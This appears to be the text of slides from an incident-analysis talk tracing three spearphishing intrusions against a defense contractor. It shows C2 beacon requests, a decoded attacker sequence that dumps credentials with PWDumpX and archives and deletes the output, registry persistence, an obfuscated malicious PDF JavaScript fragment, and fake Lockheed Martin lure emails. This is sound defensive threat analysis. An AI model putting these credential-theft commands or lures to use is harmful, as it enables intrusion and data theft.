POST /cutenews/rte/icon/gFr554.php HTTP/1.0

Host:www.newmoon-movie.net

Content-Type: application/x-www-form-urlencoded

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; InfoPath.1)

Content-Length: 5136

a=&b=fg&d=rf&c=UDNNTAAAAABhCwAAEQAAAAAAAAIAAAAFwofHhQBrNASAAAAAAAAABAAAADZBwoAAAAZAAgA

HgApAFwBEwAAAAAACkAAAApAAAAAMAAAA3NjQ4Ny02NDAtMTY0NDg0MS0yMzQ4NQA

Intrusion 1: Discovery

/cutenews/rte/icon/gFr554.php

www.newmoon-movie.net

(signature)

http://blog.threatexpert.com/2009/11/new-moon-trojan.html

```
cd C:\windows\ime\imejp
ntfre e -p64740629 ~WRD0203.tmp
del ~WRD0203.tmp
PWDumpX.exe 127.0.0.1 + +
del DumpExt.dll
del DumpSvc.exe
del PWDumpX.exe
del 127.0.0.1-LSASecrets.txt
del 127.0.0.1-PWCache.txt
ntfre.exe a -r -s -m3 -inul -ep1 -n*.txt -
    hphappyday  C:\windows\ime\imejp\~WRD001.t
    mp C:\windows\ime\imejp
del 127.0.0.1-PWHashes.txt
del ntfre.exe
net use \\127.0.0.1\ipc$ /del
del pp.bat
```

Intrusion 1: Decoded Commands

ntfre.exe

pwdumpx.exe

dumpext.dll

dumpsvc.exe

http://contagiodump.blogspot.com/2010/06/these-days-i-see-spike-in-number-of.html

%LST%\A07-20546AF-35Broc.pdf

%LST%\A07-20546AF-35Broc[2].pdf

%LST%\svchost.exe

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost = “%LST%\svchost.exe”

$ pdftk A07-20536AF-35Broc.pdf dump_data
InfoKey: Title
InfoValue: unknown.pdf
InfoKey: Producer
InfoValue: Python PDF Library – http://pybrary.net/pyPdf
NumberOfPages: 10

2 0 obj <</S /JavaScript /JS
(\040\012\012\040\040\040\040\040\040\040\040\146\165\156\143\164\
151\157\156\040\160\162\151\156\164\111\156\146\157\050\051\173\0
12\040\040\040\040\040\040\040\040\040\040\040\040\040\040\143\157\156\16
3\157\154\145\056\160\162\151\156\164\154\156\050\042\126\151\145
\167\145\162\040\154\141\156\147\165\141\147\145\072\040\042\040\
053\040\141\160\160\056\154\141\156\147\165\141\147\145\051\073\0
12\040\040\040\040\040\040\040\040\040\040\040\040\040\040\143\157\156\16
3\157\154\145\056\160\162\151\156\164\154\156\050\042\126\151\145
\167\145\162\040\166\1 ... >> endobj

$ pdftk A07-20536AF-35Broc[2].pdf dump_data
InfoKey: Creator
InfoValue: Lockheed Martin Corp
InfoKey: Title
InfoValue: A07-20546AF-35Broc.pdf
InfoKey: Producer
InfoValue: Adobe Creator
NumberOfPages: 10

Intrusion 1: Forensics, RE

%LST%\svchost.exe

(shellcode)

“Python PDF Library”

unknown.pdf

HKCU\...\Run\svchost

(svchost MD5)

http://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit

Date: Mon, 17 May 2010 02:31:48 +0800
Message-ID: <AANLkTinBZFWleOsuIzZcrHgC6IL6GIsTvrVeWzHxVNfv@mail.gmail.com>
Subject: F-35 Lightning II - The Future Is Flying
From: Jane Doe <jane.doe@gmail.com>
To: victim@lmco.com
Content-Type: multipart/mixed; boundary=00504502bf63eaca7e0486c6e47e

[-- Attachment #1 --]
[-- Type: multipart/alternative, Encoding: 7bit, Size: 1148 --]
Content-Type: multipart/alternative; boundary=00504502bf63eaca770486c6e47c

Content-Type: text/plain; charset=ISO-8859-1

Please see the recently released press on the F-35 Lightning II, attached.

Regards,

Jane Doe
Lockheed Martin
700 N Frederick Rd
Gaithersburg, MD 20879

[-- Attachment #2: A07-20536AF-35Broc.pdf --]
[-- Type: application/pdf, Encoding: base64, Size: 1.6M --]
Content-Type: application/pdf; name="A07-20536AF-35Broc.pdf"
Content-Disposition: attachment; filename="A07-20536AF-35Broc.pdf"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g9b2wmxg1

...

Intrusion 1: Email

jane.doe@gmail.com

A07-20536AF-35Broc.pdf (?)

(.sig)(?)

May 16 17:21:22 webserv-1 logger: **10.23.156.130** 58784 166.21.32.81 80 www.lockheedmartin.com GET /data/assets/aeronautics/products/f35/**A07-20536AF-35Broc.pdf** 845 "http://www.google.com/search?hl=cn&safe=off&client=firefox-a&hs=B2E&rls=org.mozilla%3Aen-US%3Aofficial&q=**f-35+joint+strike+fighter+airframe+site%3Alockheedmartin.com** &aq=f&aqi=&aql=&oq=&gs_rfai=" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; **zh-cn**; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4" **"zh-cn"**

.

Intrusion 1: Web logs

10.23.156.130

Date: Mon, 1 Jun 2010 08:34:17 +0800
Message-ID: <f3tyBRli9fQ3hsDJNuKK6ZOS3rigEq7Hr6vk@mail.gmail.com>
Subject: Updated part list
From: Jane Doe <jane.doe@gmail.com>
To: victim@lmco.com
Content-Type: multipart/mixed; boundary=00504502bf63eaca7e0486c6e47e

[-- Attachment #1 --]
[-- Type: multipart/alternative, Encoding: 7bit, Size: 1080K --]
Content-Type: multipart/alternative; boundary=00504502bf63eaca770486c6e47c

Content-Type: text/plain; charset=ISO-8859-1

All,

Here is the updated part list, as you requested.

Regards,

Jane Doe
Lockheed Martin
700 N Frederick Rd
Gaithersburg, MD 20879

[-- Attachment #2: Part_List-Updated-20100601.pdf --]
[-- Type: application/pdf, Encoding: base64, Size: 546k --]
Content-Type: application/pdf; name="Part_List-Updated-20100601.pdf"
Content-Disposition: attachment; filename="Part_List-Updated-20100601.pdf"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g9b2wmxg1

Intrusion 2: Email delivery, blocked!

jane.doe@gmail.com

(.sig)(?)

%LST%\Part_List-Updated-20100601.pdf

%LST%\Part_List-Updated-20100601[2].pdf

%LST%\svchost.exe

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
svchost = “%LST%\svchost.exe”

$ pdftk Part_List-Updated-20100601.pdf dump_data
InfoKey: Title
InfoValue: unknown.pdf
InfoKey: Producer
InfoValue: Python PDF Library – http://pybrary.net/pyPdf
NumberOfPages: 10

Unidentified shellcode → CVE-2010-1297 0-day

Intrusion 2: Reverse Engineering

%LST%\svchost.exe

(shellcode’)

“Python PDF Library”

unknown.pdf (?)

HKCU\...\Run\svchost

(svchost MD5’)

POST /cutenews/rte/icon/gFr554.php HTTP/1.0
Host:10.23.156.180
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; InfoPath.1)
Content-Length: 5136

a=&b=fg&d=rf&c=UDNNTAAAAABhCwAAEQAAAAAAAAIAAAAFwofHhQBrNASAAAAAAAAABAAAADZBwoAAAAZAAgA
HgApAFwBEwAAAAAACkAAAApAAAAAMAAAA3NjQ4Ny02NDAtMTY0NDg0MS0yMzQ4NQA

Intrusion 2: Reverse Engineering

/cutenews/rte/icon/gFr554.php

10.23.156.180

(signature)

http://blog.threatexpert.com/2009/11/new-moon-trojan.html

POST /1314563/fgDc43.php HTTP/1.0

Host:10.23.156.180

Content-Type: application/x-www-form-urlencoded

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; InfoPath.1)

Content-Length: 5136

q=&s=AD&c=AD&c=5e1a70722b9a86c7c33ab1a3d6eea7da

e0299741d437047a32a1c42910238767

Intrusion 3: Compromise discovery

/1314563/fgDc43.php

10.23.156.180

(signature')